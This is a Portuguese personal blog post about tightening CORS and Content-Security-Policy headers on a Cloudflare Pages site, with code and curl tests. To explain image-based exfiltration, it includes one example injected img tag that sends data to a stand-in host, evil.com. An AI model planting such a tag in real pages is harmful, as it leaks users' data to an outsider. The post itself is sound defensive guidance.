quando eu fiz meu sistema de comentarios serverless no cloudflare pages, eu fiz oq todo mundo faz. copiei o snippet do stack overflow e colei Access-Control-Allow-Origin: * la no meu edge function. funciona! pronto! proximo!
só que... nao ta pronto. ta longe de estar pronto.
eu tava revisando as configs do meu site esses dias e percebi q tinha deixado umas portas abertas q nao deviam estar. n era nada absurdo, mas era o tipo de coisa q eu criticaria em outro dev. entao tinha q arrumar. e aqui ta oq eu aprendi.
Parte 1: O Problema do CORS Aberto
CORS (Cross-Origin Resource Sharing) existe pra dizer ao navegador: "esse site X tem permissao pra fazer requisicao pro meu site Y". quando vc coloca *, vc ta dizendo: "qualquer site do planeta pode me bater".
pra uma API pública tipo uma API de clima ou de CEP, faz sentido. mas pra uma API q só seu site deveria usar? n faz sentido nenhum.
eu tinha 3 functions no cloudflare:
/api/commentssistema de comentarios/api/guestbooklivro de visitas/api/miku-chatmeu bot de IA (sim, ele eh o da Lain mas chamo de miku pq originalmente era pra ser ela lol)
todas as 3 tinham o mesmo header:
const corsHeaders = {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
'Access-Control-Allow-Headers': 'Content-Type',
};
o q isso significava na pratica?
significava q um site aleatorio tipo evil.com podia abrir o devtools, dar um fetch pro meu endpoint e:
- ler todos os comentarios de qualquer artigo meu
- spammar comentarios fakes (se passasse do turnstile)
- inundar o guestbook
- gastar minhas 200 requisicoes diarias do bot de IA
sim, eu tenho rate limit. sim, eu tenho turnstile. mas essas sao camadas de defesa. CORS aberto eh como deixar a porta da garagem aberta pq vc tem um cachorro. o cachorro ajuda, mas fecha a porta tambem.
Parte 2: A Correcao (Whitelist de Origens)
a solucao nao eh complicada. em vez de *, vc le o header Origin da requisicao e só devolve Access-Control-Allow-Origin se ele estiver numa lista de permitidos.
meu codigo ficou assim:
const ALLOWED_ORIGINS = [
'https://cth.jp',
'https://www.cth.jp',
'http://localhost:8788',
'https://localhost:8788',
];
function getCorsHeaders(request) {
const origin = request.headers.get('Origin') || '';
const allowed = ALLOWED_ORIGINS.includes(origin) ? origin : '';
return {
...(allowed ? { 'Access-Control-Allow-Origin': allowed } : {}),
'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
'Access-Control-Allow-Headers': 'Content-Type',
};
}
repare que se o origin nao ta na lista, eu simplesmente nao envio o header Access-Control-Allow-Origin. o navegador interpreta isso como "nao autorizado" e bloqueia a requisicao no lado do cliente.
eu precisei trocar isso nas 3 functions. o padrao eh o mesmo pra todas, so muda os metodos permitidos (o bot de IA só aceita POST, por exemplo).
Parte 3: Testando (nao acredita, verifica)
dps de subir, testei com curl pra ter certeza:
# requisicao de origem valida
$ curl -sI -X OPTIONS \
-H "Origin: https://cth.jp" \
https://cth.jp/api/comments?slug=teste
HTTP/2 200
access-control-allow-origin: https://cth.jp
access-control-allow-methods: GET, POST, DELETE, OPTIONS
# requisicao de origem invalida
$ curl -sI -X OPTIONS \
-H "Origin: https://evil.com" \
https://cth.jp/api/comments?slug=teste
HTTP/2 200
# sem access-control-allow-origin!
perfeito. origem valida recebe o header. origem invalida recebe um belo de um nada. o navegador faz o resto.
Parte 4: CSP e o img-src Permissivo
enquanto eu tava nisso, resolvi dar uma olhada na minha Content-Security-Policy (CSP). CSP eh outro header de seguranca q diz ao navegador "de onde vc pode carregar scripts, imagens, frames, etc".
eu tinha isso:
img-src 'self' data: https:
quer dizer, imagens do meu proprio dominio, data URIs, e... qualquer coisa em HTTPS.
o problema é que se alguem conseguisse injetar um <img src="https://evil.com/pixel?dado=secreto">, o navegador carregaria de boa. isso eh chamado de "exfiltracao via imagem", vc vaza dados pelo src da img sem precisar de JavaScript.
eu olhei meu site inteiro e descobri q a unica fonte externa de imagens q eu uso hoje eh o Unsplash (nos artigos de estudos de computacao). mas eu tambem uso o github como hospedagem de imagem as vezes, e o imgur eh util pra coisas rapidas. entao em vez de abrir pra qualquer HTTPS, eu listei só os dominios q realmente sao seguros:
img-src 'self' data:
https://images.unsplash.com
https://raw.githubusercontent.com
https://user-images.githubusercontent.com
https://camo.githubusercontent.com
https://i.imgur.com
agora se tentarem carregar uma img de outro lugar, o navegador bloqueia com um erro bonitinho no console.
(imagem perfeitamente legivel lul)
Parte 5: Oq Sobrou (e pq eu deixei)
alguem atento vai notar q meu CSP ainda tem script-src 'self' 'unsafe-inline' e style-src 'self' 'unsafe-inline'. eh verdade. eu deixei.
pq? meu site tem dezenas de scripts inline espalhados nos HTML (o switch de tema dark/light, os quotes aleatorios, os schemas JSON-LD, etc). remover unsafe-inline exigiria extrair tudo pra arquivos .js e .css separados. eh uma refatoria enorme.
seguranca eh sobre camadas e trade-offs. eu apertei as camadas q davam pra apertar agora sem quebrar o site inteiro. o unsafe-inline fica pra uma proxima rodada.
Conclusao
CORS nao eh so copiar e colar * do stack overflow. CSP nao eh so copiar e colar https: do github. esses headers existem pra proteger seu site e seus usuarios.
se vc tem uma API serverless (cloudflare pages, vercel, netlify functions, etc) e ela só deveria ser usada pelo seu proprio frontend, restrinja a origem. nao confie só no rate limit nem no captcha. cada camada conta.
e se vc usa imagens externas no CSP, liste os dominios em vez de abrir pra qualquer HTTPS. seu futuro eu agradece.